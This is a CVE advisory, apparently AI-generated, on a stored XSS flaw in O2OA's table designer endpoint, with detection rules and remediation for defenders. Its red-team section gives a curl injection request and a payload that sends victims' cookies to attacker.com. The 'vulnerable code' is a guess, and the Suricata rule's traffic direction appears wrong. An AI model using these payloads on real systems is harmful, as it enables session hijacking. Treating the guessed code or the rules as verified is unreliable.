CVE-2025-9735

Executive Summary

CVE-2025-9735 is a stored cross-site scripting (XSS) vulnerability in O2OA versions up to 10.0-410. The flaw resides in the /x_query_assemble_designer/jaxrs/table endpoint, accessible via the Personal Profile Page component. An authenticated attacker can inject malicious scripts through the description, applicationName, or queryName parameters, which are then stored and executed in the context of other users viewing the affected page. The CVSS score is 3.5 (Low), but the public availability of exploit code and the lack of an official patch elevate the risk for unpatched deployments. The vendor has acknowledged the issue and stated it will be fixed in a future release.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. O2OA is a Java-based enterprise application platform. The risk is limited to direct deployments of the O2OA server software.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is initiated remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – The attacker must have a valid user account.
• User Interaction (UI): Required (R) – The victim must visit the affected page.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Low (CVSS 3.5). However, the public exploit and lack of patch increase the practical risk for organizations using O2OA.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the O2OA query designer module. The endpoint /x_query_assemble_designer/jaxrs/table accepts POST requests to create or update table definitions. The parameters description, applicationName, and queryName are not properly sanitized before being stored in the database. When another user (including administrators) views the Personal Profile Page or related query designer interfaces, the stored payload is rendered in the browser without proper encoding, leading to script execution.

The attack flow:

1. Attacker authenticates to O2OA.
2. Attacker sends a POST request to /x_query_assemble_designer/jaxrs/table with a malicious payload in one of the vulnerable parameters.
3. The payload is stored in the database.
4. Victim (another user) navigates to a page that displays the table metadata (e.g., query designer list or profile page).
5. The victim's browser executes the injected script, which can steal session cookies, perform actions on behalf of the victim, or deface the page.

Vulnerable vs. Patched Code

Vulnerable Code (O2OA <= 10.0-410): The vulnerable code likely lacks output encoding when rendering user-supplied fields. For example, in a JSP or Java template:

// Vulnerable: direct output without encoding
out.println("<td>" + table.getDescription() + "</td>");

Patched Code (Expected Fix): The fix should apply proper HTML encoding to all user-controlled fields before rendering:

// Patched: use a library like OWASP Java Encoder
out.println("<td>" + Encode.forHtml(table.getDescription()) + "</td>");

Alternatively, the fix could sanitize input at the API layer using a whitelist approach.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid O2OA user account (low privilege).
• Network access to the O2OA server.

Exploit Steps:

1. Authenticate and obtain a session cookie.
2. Send a crafted POST request to the vulnerable endpoint:

curl -X POST "http://target.o2oa/x_query_assemble_designer/jaxrs/table" \
  -H "Cookie: JSESSIONID=your_session_id" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "test_table",
    "description": "<script>alert(document.cookie)</script>",
    "applicationName": "test_app",
    "queryName": "test_query"
  }'

3. The payload is stored. When an administrator or another user views the table list, the script executes.

Advanced Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor POST requests to /x_query_assemble_designer/jaxrs/table containing HTML tags or JavaScript in the JSON body.
• Look for anomalous user activity, such as a low-privilege user creating multiple tables with suspicious descriptions.

Hunting:

• Search database entries for <script> tags in the description, applicationName, and queryName columns.
• Review web server logs for requests to the vulnerable endpoint with unusual payloads.

Lab Setup:

• Deploy O2OA 10.0-410 in a sandboxed environment.
• Create a test user and perform the exploit steps above.
• Verify the XSS by accessing the profile page as another user.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /x_query_assemble_designer/jaxrs/table with JSON bodies containing <script> tags.
  • Outbound connections to unknown domains from the O2OA server (if payload exfiltrates data).
• Host IOCs:
  • Database entries in the table metadata containing HTML/JavaScript in description, applicationName, or queryName fields.
  • Unexpected JavaScript files or scripts in the O2OA web directory (if attacker uploads a persistent backdoor).
• Log IOCs:
  • Web server logs showing repeated POST requests to the vulnerable endpoint from the same user.
  • Application logs showing errors related to HTML rendering or script execution.

Detection Engineering

YARA Rule

rule CVE_2025_9735_O2OA_XSS {
    meta:
        description = "Detects stored XSS payloads in O2OA table metadata"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9735"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $vuln_param = /"description"\s*:\s*"[^"]*<script/i
    condition:
        $xss_payload or $vuln_param
}

Sigma Rule

title: CVE-2025-9735 O2OA Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to O2OA vulnerable endpoint with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/x_query_assemble_designer/jaxrs/table'
        cs-body: '*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-9735 O2OA Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/x_query_assemble_designer/jaxrs/table"; http_uri;
    content:"<script"; http_client_body;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Apply the vendor patch as soon as it is released. Monitor the O2OA GitHub repository for updates.
2. Workaround: If patching is not possible, restrict access to the vulnerable endpoint using a web application firewall (WAF) or reverse proxy. Block POST requests to /x_query_assemble_designer/jaxrs/table from untrusted users.
3. Input Validation: Implement server-side input validation to reject HTML/JavaScript in the description, applicationName, and queryName parameters.
4. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering in the browser.

Long-Term Fixes:

• Adopt a Content Security Policy (CSP) to mitigate the impact of XSS.
• Conduct a security audit of the O2QA codebase for similar injection flaws.
• Implement automated security testing in the CI/CD pipeline.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.